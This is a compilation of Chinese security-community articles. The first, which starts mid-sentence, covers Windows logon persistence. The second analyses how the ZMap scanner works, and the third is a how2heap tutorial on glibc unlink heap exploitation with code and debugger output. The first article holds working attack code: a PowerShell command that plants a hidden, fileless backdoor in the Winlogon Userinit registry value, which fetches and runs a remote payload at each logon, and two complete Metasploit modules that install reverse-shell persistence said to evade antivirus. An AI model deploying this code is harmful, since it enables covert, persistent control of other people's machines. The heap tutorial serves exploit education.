Scripts实现登陆时运行脚本，同时有一定的免杀效果。复现的过程中我发现这种方法需要在磁盘上留下文件，隐蔽性不佳。通过查找[相关资料](http://resources.infosecinstitute.com/common-malware-persistence-mechanisms/#gref)，我测试了另一个注册表键，使用此键留下的后门同样可以绕过某些杀软以及Windows
Defender。如果使用它启动powershell，还可以传递参数，就能够留下一个无文件的后门。
## 相关注册表键
HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\Userinit这个注册表键的作用是在用户进行登陆时，winlogon运行指定的程序。根据[官方文档](https://technet.microsoft.com/en-us/library/cc939862.aspx),可以更改它的值来添加与删除程序。
## 测试
测试环境：Windows Server 2008R2 x64
* 使用msf的模块web_delivery，target设置为psh
* 更改注册表键值
* 重新登陆账户
## Powershell实现
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe,powershell.exe -w hidden -noexit -nop -c $T=new-object net.webclient;$T.proxy=[Net.WebRequest]::GetSystemWebProxy();$T.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $T.downloadstring('\\192.168.143.129\bfvaNe\test.dll');"
注：powershell反弹shell的payload参照msf中的web_delivery
## 缺陷
需要管理员权限，不够通用
## 总结
logon scripts需要组策略允许才能执行脚本, 权限较高的话可以试试使用userinit作为一种无文件后门的方式最后附上msf模块
* userinit_persistence.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/payload_generator'
require 'msf/core/post/windows/powershell'
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Powershell
include Msf::Exploit::Powershell
include Msf::Post::Windows::Priv
def initialize(info={})
super(update_info(info,
'Name' => "Registry Key Userinit Persistence Module",
'Description' => %q{
This module sets registry key 'userinit' as a custom powershell. command or payload.
},
'License' => MSF_LICENSE,
'SessionTypes' => ['meterpreter'],
'Platform' => ['windows'],
'Author' => [
'Exist@Syclover'
]
))
register_options([
OptString.new('PAYLOAD', [false, 'The Payload you want to use.', "windows/meterpreter/reverse_tcp"]),
OptString.new('LHOST', [false, 'IP of host that will receive the connection from the payload.', '192.168.1.1']),
OptInt.new('LPORT', [false, 'Port for Payload to connect to.', 4444]),
OptEnum.new('METHODS', [ true, 'You can choose what method to use, default is persistence.', 'persistence', ['persistence', 'psh_cmd']]),
OptString.new('SCRIPT', [false, 'The powershell command or script file.', 'whoami'])
])
end
def create_payload(pay_name, host, port, opts = "")
payload = framework.payloads.create pay_name
payload.datastore['LHOST'] = host
payload.datastore['LPORT'] = port
if not opts.blank?
opts.split(",").each do |o|
opt,val = o.split("=",2)
pay.datastore[opt] = val
end
end
payload = cmd_psh_payload payload.generate, payload.arch.first, { :remove_comspec => true, :encode_final_payload => true, :method => 'reflection' }
payload
end
def run
raise "Powershell not available" if ! have_powershell?
unless is_admin?
print_error "You must be the administrator."
return
end
unless session.arch == sysinfo['Architecture']
session.run_cmd "run post/windows/manage/archmigrate"
end
pscmd = 'Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe,'
case datastore['METHODS']
when 'persistence' then
payload = create_payload datastore['PAYLOAD'], datastore['LHOST'], datastore['LPORT']
psh_exec pscmd + payload + '"'
print_good "Successful!"
when 'psh_cmd' then
script = make_subs(read_script(datastore['SCRIPT']), process_subs(datastore['SUBSTITUTIONS']))
psh_exec pscmd + 'powershell -w hidden -c '+ script + '"'
print_good 'Finished!'
end
end
end
p.s.
写这个模块的时候，由于对注册表不熟悉所以踩到了坑。举个例子，如果是x86的meterpreter运行在x64的目标系统上，访问注册表的HKLM\SOFTWARE,会被重定向到HKLM\SOFTWARE\WOw6432Node,这样的话后门就不能正常执行。我找到的API都没有能够禁止重定向的，而尝试用session.run_cmd执行meterpreter默认的reg命令时，-w
64在我的机器上也是不起作用的。最终我只能用比较粗暴的方法，判断meterpreter与目标架构是否相同，不相同的话调用archmigrate模块进行迁移，然后执行命令。不过这样有些时候还是有bug，如果出现bug的话请师傅们手动调整meterpreter架构。
* logonscript_persistence.rb*
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/post/windows/powershell'
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Powershell
include Msf::Post::File
include Msf::Post::Windows::Registry
def initialize(info={})
super(update_info(info,
'Name' => "Logon Script Persistence Module",
'Description' => %q{
This module uses 'Logon Script' for long-lasting control.
},
'License' => MSF_LICENSE,
'Platform' => ['windows'],
'SessionTypes' => ['meterpreter'],
'Author' => [
'Exist@Syclover'
]
))
register_options([
OptString.new('PAYLOAD', [false, 'The Payload you want to use.', "windows/meterpreter/reverse_tcp"]),
OptString.new('LHOST', [true, 'IP of host that will receive the connection from the payload.']),
OptInt.new('LPORT', [true, 'Port for Payload to connect to.']),
OptString.new('PATH', [true, 'The path to write bat file, include the file name.'])
])
end
def gen_registry(data)
registry_createkey('HKCU\Environment')
registry_setvaldata('HKCU\Environment', 'UserInitMprLogonScript', data, 'REG_SZ')
res = registry_getvaldata('HKCU\Environment', 'UserInitMprLogonScript')
if res == data
true
else
false
end
end
def create_payload(pay_name, host, port, opts = "")
payload = framework.payloads.create pay_name
payload.datastore['LHOST'] = host
payload.datastore['LPORT'] = port
if not opts.blank?
opts.split(",").each do |o|
opt,val = o.split("=",2)
pay.datastore[opt] = val
end
end
payload = cmd_psh_payload payload.generate, payload.arch.first, { :encode_final_payload => true, :method => 'reflection' }
payload
end
def run
path = datastore['PATH']
payload = create_payload datastore['PAYLOAD'], datastore['LHOST'], datastore['LPORT']
write_file(path, payload)
unless gen_registry(path)
print_error "Can't set registry key 'HKCU\\Environment\\UserInitMprLogonScript', please set it manually."
return
end
end
end
p.s. 由于运行脚本需要组策略允许，因此如果模块运行成功，却没有弹回shell的话请检查组策略
## 参考
<http://resources.infosecinstitute.com/common-malware-persistence-mechanisms/#gref><https://3gstudent.github.io/3gstudent.github.io/Use-Logon-Scripts-to-maintain-persistence/><https://technet.microsoft.com/en-us/library/cc939862.aspx> | 社区文章 |
ZMap 是一款扫描软件，由 Durumeric 领导密歇根大学研究团队开发，这种工具能令一台普通的服务器在短短 45 分钟时间里扫描 IPv4
网络空间上的每一个地址，叹为观止！扫描效率远远超过 Nmap 工具。
刚好我最近在研究 IPv6 扫描，也就产生了想深入研究这款扫描工具原理想法，也就有了这篇文章。网络上关于 ZMap
的使用教程非常之多，但是我想在这篇文章里给各位详细剖析 ZMap 这款扫描工具使用到的技术，对于未来 IPv6
网络的扫描有着重要的借鉴价值，同时知其然更要知其所以然也是白帽子应该具备的品质。
有兴趣的读者还可以自行去研究提出这款工具的论文：《ZMap: Fast Internet-wide Scanning and Its Security
Applications》
### ZMap 性能
按照论文的描述，这款工具优秀的性能可以用这二点来概括：
* 指定一个端口，ZMap 只需要 45 分钟就可以在一台普通的主机上对整个 IPv4 地址空间的完成扫描
* 在默认的配置下，使用 ZMap 扫描整个 IPv4 地址空间会比 Nmap 快 1300 倍
可以看一下 ZMap 和 Nmap 在性能方面的对比：
在这表格里测试的是使用 ZMap 和 Nmap 扫描了一百万个主机的 443 端口，重复十次试验取平均测量的时间结果如上。ZMap 的测量耗时远远低于
Nmap，而且即便这样 ZMap 比 Nmap 发现更多的存活主机。在最后一列也测试了扫全网的效率，可以看见 ZMap 远远胜于 Nmap。
下面我来带领大家研究一下为什么 ZMap 具有如此高的扫描效率，通过学习它的技术也可以对我以后的研究工作有更多的帮助。
### ZMap 架构新的特点
首先来看看 ZMap 有哪些新的特点帮助它实现高性能的扫描：
##### （1） Optimized probe
为了避免扫描发送的探针对发送方的网络和目的网络造成压力从而导致速率下降等不好的结果出现，本文的探针采用随机探针生成技术并且广泛散发的方法，即按照随机的顺序对全网目的地址进行扫描，相邻发送的探针数据包不一定被送至相同的网络。同时
ZMap 按照发送方 NIC 最大速率发送探针，并且跳过 TCP/IP 栈直接生成链路层的帧。
##### （2） No per-connection state
Nmap 会对每一个连接维护一些状态来帮助程序确认哪些主机被扫描过以及是否需要重新发送。与之不同，ZMap
不保存任何连接的这些状态。首先在解决如何不重复不遗漏扫描全部需要扫描的主机问题上，ZMap 主要使用了周期乘法生成地址的随机全排列。此外，ZMap
接受的响应数据包携带有一些状态字段，程序会从中提取尽可能多的有用信息帮助 ZMap
得到扫描结果。为了将探针导致的响应数据包从网络中的其他数据包识别分离出来，ZMap 会重载每一个发送的数据包中未被使用的值来做一些标识，这一点有点像 SYN
cookies。
##### （3） No retransmission
ZMap 总是针对每一个目标发送相同且固定的探针数据包（默认一个），并且不会像 Nmap 那样在超时后重新发送相同探针数据包。也就是说 ZMap
不会重新发送任何数据包，主要是避免维护一些不必要的状态。放心，文章实验证明了即使在最大的扫描速率下只对每一个目标地址发送一个探针数据包也可以有效的扫描完
98% 的网络空间。
### 架构
这部分介绍一下 ZMap 的架构和整体的设计思想：
* 蓝色 Packet Generation 和 Response Interpretation： 指出生成和处理多种探针数据包，包括 TCP SYN 扫描的和 ICMP echo 扫描的
* 红色 Output Handler：输出结果并且允许用户处理这些结果
* 设计思想：最重要的架构特点在于扫描过程和接受处理过程是在不同的线程完成的，彼此独立并且连续的进行
整个系统大约用了 8900 行 C 代码完成。下面我着重针对 ZMap 三个主要的点展开深入的讨论。
### Addressing Probes
首先先来看一个数学例子，如果我们期望遍历 1-6 整数，但是又不想按照顺序去遍历，想使用随机的方法遍历这些整数，一种方法如图所示，即整数模 n 乘法群（
**multiplicative group of integers modulo n** ）。 相关参考文献：[维基百科-整数模 n
乘法群](https://zh.wikipedia.org/zh-hans/%E6%95%B4%E6%95%B0%E6%A8%A1n%E4%B9%98%E6%B3%95%E7%BE%A4)
可以看到只要我们选定一个稍微大于需要遍历的序列最大数的奇质数 n （论文用符号 p 表示，此处为 7），那么再选定一个需要遍历的数列其中一个元素
primitive root （此处为 5，选择其他的比如 3 也可以），通过相乘取余数可以生成数列的一个全排列。
应用在 IPv4 地址中，我们可以将 128bit 的 IPv4 地址空间看成一个 1~2^32 的整数集合（128 位的二进制转换为 10
进制数），每一个整数对应 IPv4 的一个地址（0.0.0.0 地址对应的整数为 0，没有扫描的意义故排除）。然后论文选择了一个稍微大一些奇质数
2^32+15 作为 p，选择 3 作为 primitive root。这样可以用相同的数学原理得到 1~2^32 整数的全排列，每一个整数转换位 128
位二进制即可得到 IPv4 地址。
### Packet Transmission and Receipt
ZMap 被设计尽可能使用源主机的 CPU 和 NIC 能支持的最大发包速率去发送探针数据包
(probe)。程序直接在以太网层（即链路层，以太网协议是链路层很重要的一个协议）发送 raw packet，避免过多的内核层面的操作包括路由表查询、arp
缓存查询和 _Netfilter_ 检验。这样链路层头部，包括校验码在整个扫描过程都不会变的，在内核中也不会建立任何 TCP session。
ZMap 的接受模块仍然使用
libpcap，虽然这个库很多时候会成为性能的瓶颈，但是考虑到响应的数据包速率不会有发送的那么快，在论文的测试中也验证了这一个观点，所以使用 libpcap
是可行的。
在接收到数据包后，通过源端口和目的端口直接跳过那些明显不是响应我们扫描的数据，将剩下的数据包传送到 probe module
进一步解析。由于发送和接受主线程是独立的，在发送结束后接受线程仍然额外持续 8 秒。
### Probe Modules
如果使用 TCP 端口扫描，采用的技术都是 SYN scanning 可以根据响应的数据包判断是 unreachable、close 还是 open
（对应三种情况：无响应，响应 RST 以及响应 SYN-ACK）。
该模块一个很重要的任务就是识别那些响应数据包是针对我们的探针数据包响应的。按照原文的说法解决方法就是：
> Probe modules perform this validation by encoding host- and scan-> invocation–specific data into mutable fields of each probe packet, utilizing
> fields that will have recognizable effects on fields of the corresponding
> response packets in a manner similar to SYN cookies.
具体哪些发送的数据包字段会在响应的时候携带发送字段的信息：在我们的 TCP 扫描技术中，我们采用源端口和序列数字；在 ICMP 扫描技术中，我们使用
ICMP identifier 和序列数字 (sequence number)。
这种验证技术很类似 SYN Cookie，这种技术主要使用与防范 SYN Flood 攻击的（SYN Cookie[原理可以参考
https://zh.wikipedia.org/wiki/SYN_cookie](https://zh.wikipedia.org/wiki/SYN_cookie)
和 [SYN cookies
机制下连接的建立](https://blog.csdn.net/justlinux2010/article/details/12619761)）
> 在 syn 到来的时候， 服务端并不会为这个 syn 包分配资源， 免得受骗上当。只有当服务端自己的 syn/ack 收到客户端的 ack 后，
> 才会真正分配资源， 此时才完成正常的连接。 由此可见， 此时 syn flood 失效。
同时这一部分的 ZMap 作者参考了《UMAC: Fast and secure message
authentication》文献，也值得去阅读一边进一步了解识别响应数据包的工作原理。特别说明这部分论文提到的 MAC
不是指物理地址，而是消息摘要的意思。 | 社区文章 |
# how2heap之unlink
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
欢迎各位喜欢安全的小伙伴们加入星盟安全 UVEgZ3JvdXA6IDU3MDI5NTQ2MQ==
> 假期坚决不咕咕咕!!系列一中我记录了first-> fit,fastbin_dup,fastbin_dup_into_stack和fastbin_dup_consolidate四个文件的三种攻击方式,那么这次就记录一下unlink叭!
PS:由于本人才疏学浅,文中可能会有一些理解的不对的地方,欢迎各位斧正 🙂
## 参考网站
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/
https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344nn
http://blog.leanote.com/post/mut3p1g/how2heap
https://xz.aliyun.com/t/2582#toc-5
## 环境
ubuntu16.04,gdb(pwndbg)
## unsafe_unlink
第一个就是经常会用到的一种技巧,unlink,下面我们先看源代码,同样的,我加了一小点注释并删了写作者的话
这里我觉得heap
exploitation里的例子更容易理解一点23333,这是之前的一个[总结](https://nightrainy.github.io/2019/07/19/unlink-study/)
当然,不想跳转的小伙伴我也会对unlink做一下简单的介绍,具体的介绍我们调试着看:)
**首先,什么是unlink?**
所谓unlink就是为了取出双向链表中的一个chunk
**那么什么时候需要取出双向链表中的chunk呢,也就是使用unlink的时机?**
* malloc
1. 在恰好大小的large chunk处取chunk时
2. 在比请求大小大的bin中取chunk时
* Free
1. 后向合并,合并物理相邻低物理地址空闲chunk时
2. 前向合并,合并物理相邻高物理地址空闲chunk时(top chunk除外)
* malloc_consolidate
1. 后向合并,合并物理相邻低地址空闲chunk时。
2. 前向合并，合并物理相邻高地址空闲 chunk时（top chunk除外）
* realloc
前向扩展，合并物理相邻高地址空闲 chunk（除了top chunk）。
**攻击效果呢?**
攻击效果就是 p处的指针会变为 p – 0x18;
好嘞下面我们回来,我删掉部分作者的话的大概意思:
请在ubuntu14.04和ubuntu16.04上测试,这个技巧运用在我们有一个已知区域的指针时,我们可以在这个指针上利用unlink这一技巧
最常见的情况就是在一个有溢出漏洞,又有一个全局变量的时候
好嘞我们直接看代码
### 源代码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
uint64_t *chunk0_ptr;
int main()
{
int malloc_size = 0x80; //we want to be big enough not to use fastbins
int header_size = 2;
//本测试的重点就是利用free来破坏我们的全局chunk0_ptr以实现任意地址写
fprintf(stderr, "The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.nn");
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
//全局指针为chunk0_ptr,我们将要攻击的chunk为chunk1_ptr
fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %pn", &chunk0_ptr, chunk0_ptr);
fprintf(stderr, "The victim chunk we are going to corrupt is at %pnn", chunk1_ptr);
//我们要在chunk0中伪造一个chunk
fprintf(stderr, "We create a fake chunk inside chunk0.n");
//我们把我们的fake_chunk的fd指向我们的chunk0_ptr来满足P->FD->BK=P
fprintf(stderr, "We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
//我们把fake_chunk的bk指针指向我们的chunk0_ptr来满足P->BK->FD
fprintf(stderr, "We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.n");
//通过这么设置,我们就可以成功bypass堆的检测即(P->FD->BK!=P||P->BK->FD!=P)==FALSE
fprintf(stderr, "With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == Falsen");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
fprintf(stderr, "Fake chunk fd: %pn",(void*) chunk0_ptr[2]);
fprintf(stderr, "Fake chunk bk: %pnn",(void*) chunk0_ptr[3]);
//我们假设我们可以通过溢出chunk0使得我们可以自由的更改chunk1的内容
fprintf(stderr, "We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
//我们用chunk1的previous_size来收缩chunk0,让free认为我们的chunk0是在我们的伪造的chunk的地方开始的
fprintf(stderr, "We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.n");
fprintf(stderr, "It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordinglyn");
chunk1_hdr[0] = malloc_size;
//如果我们正常的free chunk0,那么chunk1的pre_szie将是0x90,然而现在是一个新的值
fprintf(stderr, "If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %pn",(void*)chunk1_hdr[0]);
//我们通过将chunk1的pre_size设置为false,就可以将我们所伪造的chunk标记为free状态
fprintf(stderr, "We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.nn");
chunk1_hdr[1] &= ~1;
//现在我们free chunk1,这时发生向后合并将会unlink我们所伪造的chunk,从而覆写chunk0_ptr
fprintf(stderr, "Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.n");
fprintf(stderr, "You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344nn");
free(chunk1_ptr);
//在这个指针上,我们可以通过chunk0_ptr来覆写其自身以指向任意内存
fprintf(stderr, "At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;
//chunk0_ptr如今指向了我们想要的地方,我们可以用它来写我们的字符串了
fprintf(stderr, "chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.n");
fprintf(stderr, "Original value: %sn",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
fprintf(stderr, "New Value: %sn",victim_string);
}
### 程序运行结果
The global chunk0_ptr is at 0x602070, pointing to 0x255b010
The victim chunk we are going to corrupt is at 0x255b0a0
We create a fake chunk inside chunk0.
We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.
We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.
With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False
Fake chunk fd: 0x602058
Fake chunk bk: 0x602060
We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.
We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.
It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly
If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: 0x80
We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.
Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.
At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.
chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.
Original value: Hello!~
New Value: BBBBAAAA
### 关键部分调试
自己翻译的毛毛躁躁的,如果单看代码和结果不理解的话不要着急,我们慢慢来,我们根据源码上推荐的网站先把unlink部分代码拉过来
1344#define unlink(AV, P, BK, FD) {
1345 FD = P->fd;
1346 BK = P->bk;
1347 if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
1348 malloc_printerr (check_action, "corrupted double-linked list", P, AV);
1349 else {
1350 FD->bk = BK;
1351 BK->fd = FD;
1352 if (!in_smallbin_range (P->size)
1353 && __builtin_expect (P->fd_nextsize != NULL, 0)) {
1354 if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
1355 || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
1356 malloc_printerr (check_action,
1357 "corrupted double-linked list (not small)",
1358 P, AV);
1359 if (FD->fd_nextsize == NULL) {
1360 if (P->fd_nextsize == P)
1361 FD->fd_nextsize = FD->bk_nextsize = FD;
1362 else {
1363 FD->fd_nextsize = P->fd_nextsize;
1364 FD->bk_nextsize = P->bk_nextsize;
1365 P->fd_nextsize->bk_nextsize = FD;
1366 P->bk_nextsize->fd_nextsize = FD;
1367 }
1368 } else {
1369 P->fd_nextsize->bk_nextsize = P->bk_nextsize;
1370 P->bk_nextsize->fd_nextsize = P->fd_nextsize;
1371 }
1372 }
1373 }
1374 }
这里我们最主要需要绕过的地方就是(FD->bk != P || BK->fd != P)这里了,我们根据函数传进来的东西解释一下
FD是我们所传进来的指针P的fd指针也就是FD=P->fd,而BK就是P->BK
也就是说,我们所需要满足的FD->bk=P,BK->fd=P其实就是
1. P->fd->bk=P,即程序检测P的后一个空闲指针的前一个指针为P
2. P->bk->fd=P,同理检测P的前一个空闲指针的后一个指针为P
如果我们想利用该怎么做呢?带着疑问让我们开始调试程序吧!
因为较为复杂,这里我下了8个断点,分别是
► 21 chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
22 uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
► 27 fprintf(stderr, "We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.n");
28 chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
► 31 chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
► 36 uint64_t *chunk1_hdr = chunk1_ptr - header_size;
► 39 chunk1_hdr[0] = malloc_size;
► 42 chunk1_hdr[1] &= ~1;
50 strcpy(victim_string,"Hello!~");
► 51 chunk0_ptr[3] = (uint64_t) victim_string;
55 chunk0_ptr[0] = 0x4141414142424242LL;
► 56 fprintf(stderr, "New Value: %sn",victim_string);
首先是第一个断点的地方,也就是malloc chunk0的地方
pwndbg> heap
0x603000 PREV_INUSE {
prev_size = 0,
size = 145,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603090 PREV_INUSE {
prev_size = 0,
size = 135025,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
可以看到我们已经有了一个堆块,那么下面我们单步走完下一个,即把chunk1也分配了,此时的堆块
pwndbg> heap
0x603000 PREV_INUSE {
prev_size = 0,
size = 0x91,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603090 PREV_INUSE {
prev_size = 0,
size = 0x91,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603120 PREV_INUSE {
prev_size = 0,
size = 134881,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg>
好嘞,我们到下一个断点处,没错,就是这个地方
► 28 chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
程序的注释中说我们将fake_chunk的fd指向我们的chunk0_ptr,我们先看看这个所谓的chunk0_ptr[2]是个什么东西:
pwndbg> p/x chunk0_ptr
$3 = 0x603010
pwndbg> p/x chunk0_ptr[2]
$4 = 0x602058
pwndbg> p/x &chunk0_ptr
$5 = 0x602070
pwndbg> x/10x 0x602070
0x602070 <chunk0_ptr>: 0x0000000000603010 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x603010
0x603010: 0x0000000000000000 0x0000000000000000
0x603020: 0x0000000000602058 0x0000000000000000
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
为便于理解,这里我一共输出了五样东西
可以看到,程序将chunk0_ptr[2]的值变成了chunk0_ptr-0x18的地址
记得之前所说的吗,我们需要在chunk0中伪造一个fake chunk
我们的chunk0_ptr是从0x603000开始的,但是我们要清楚的是给用户的指针却是从0x603010开始的(这其实也是glibc的机制,这里就不详述了).结合程序注释,这也就意味着我们所伪造的fake
chunk要从0x603010开始,以0x603020为fd指针,以0x603028为bk指针
此时我们的fd指针已经伪造好了,下面我们直接结束伪造bk指针的部分,此时的堆
pwndbg> heap
0x603000 PREV_INUSE {
prev_size = 0,
size = 145,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x602058,
bk_nextsize = 0x602060 <stderr@@GLIBC_2.2.5>
}
0x603090 PREV_INUSE {
prev_size = 0,
size = 145,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603120 PREV_INUSE {
prev_size = 0,
size = 134881,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> x/10gx 0x603010
0x603010: 0x0000000000000000 0x0000000000000000
0x603020: 0x0000000000602058 0x0000000000602060
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
好了,此时我们已经成功的伪造了我们fake
chunk的fd和bk指针,程序注释说我们这样就可以成功bypass那两个条件,也就是P->FD->BK=P&&P->BK->FD=P了,这是为什么呢?
我们现在假设我们的fake_chunk的size已经设好了,并且他的fd=0x602058,bk=0x602060,那么
fake_chunk->fd->bk是多少呢?我们看一下
pwndbg> x/10gx 0x602058
0x602058: 0x0000000000000000 0x00007ffff7dd2540
0x602068 : 0x0000000000000000 0x0000000000603010<-bk
0x602078: 0x0000000000000000 0x0000000000000000
0x602088: 0x0000000000000000 0x0000000000000000
0x602098: 0x0000000000000000 0x0000000000000000
看到了吗,此时的fake_chunk->fd->bk=0x603010,还记得我们刚刚所说的吗,我们所伪造的fake_chunk就是0x603010
因此第一个条件fake_chunk->fd->bk=fake_chunk达成,同理我们康康第二个条件
pwndbg> x/10gx 0x602060
0x602060 <stderr@@GLIBC_2.2.5>: 0x00007ffff7dd2540 0x0000000000000000
0x602070 <chunk0_ptr>: 0x0000000000603010 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000
0x6020a0: 0x0000000000000000 0x0000000000000000
同样的,我们成功达成了第二个条件,此时的fake_chunk也就是指向我们全局变量的chunk0_ptr已经可以bypass了,现在值得注意的是刚刚我们假设size已经设好了,但其实并没有
那么根据程序所说,假设我们可以溢出chunk0来自由的更改chunk1的内容,我们就可以通过更改chunk1的pre_size域来使得我们的chunk收缩以骗过malloc让他认为我们的chunk1的上一个chunk是从我们的fake
chunk处开始的
emmmm,关于heap
shrink,可以康康我之前的另一篇[文章](https://nightrainy.github.io/2019/07/25/chunk-extend-and-overlapping/)
拓展和收缩原理相同:)
好了,我们继续
36 uint64_t *chunk1_hdr = chunk1_ptr - header_size;
► 37 fprintf(stderr, "We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.n");
现在程序运行到了这里,之前程序所定义的header_size是2,那么chunk1_ptr-2是什么东西呢?
pwndbg> p/x chunk1_ptr -2
$23 = 0x603090
pwndbg> p/x chunk1_ptr
$24 = 0x6030a0
pwndbg> p/x 0x6030a0-0x603090
$25 = 0x10
这里需要注意哦,指针的加减和平常的加减不太一样,这里我也写了个小demo,其实是从之前的文章里扒来的
demo.c
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
int main()
{
long long *chunk1,*chunk2;
chunk1=malloc(0x80);
chunk2=malloc(0x80);
chunk1=100;
chunk2=200;
printf("%pn",&chunk1);
printf("%pn",chunk1);
printf("%pn",&chunk2);
printf("%pn",chunk2);
printf("%pn",chunk1-3);
printf("%pn",chunk1-2);
printf("%pn",chunk1-1);
printf("%pn",&chunk1-3);
printf("%pn",&chunk1-2);
printf("%pn",&chunk1-1);
}
编译运行结果
'╰─# ./test
0x7ffdd51db3f8
0x64
0x7ffdd51db400
0xc8
0x4c
0x54
0x5c
0x7ffdd51db3e0 //chunk1-3
0x7ffdd51db3e8 //chunk1-2
0x7ffdd51db3f0 //chunk1-1
从小demo里就可以稍微理解指针加减了叭(雾
好的,下面我们继续分析.
程序做了什么呢?
程序将chunk1_ptr向前16位的地址赋给了我们的chunk1_hdr,这是做什么呢?
我们知道程序给我们的用户指针其实是free chunk的fd指针,因此向前16就意味着是chunk的pre_size域
我们继续让程序执行到给他赋值的地方,此时答案呼之欲出,这里的作用就是为了实现我们刚刚所说的堆缩,heap shrink:)
我们看下现在的堆
pwndbg> heap
0x603000 PREV_INUSE {
prev_size = 0,
size = 0x91,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x602058,
bk_nextsize = 0x602060 <stderr@@GLIBC_2.2.5>
}
0x603090 PREV_INUSE {
prev_size = 0x80,
size = 0x91,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
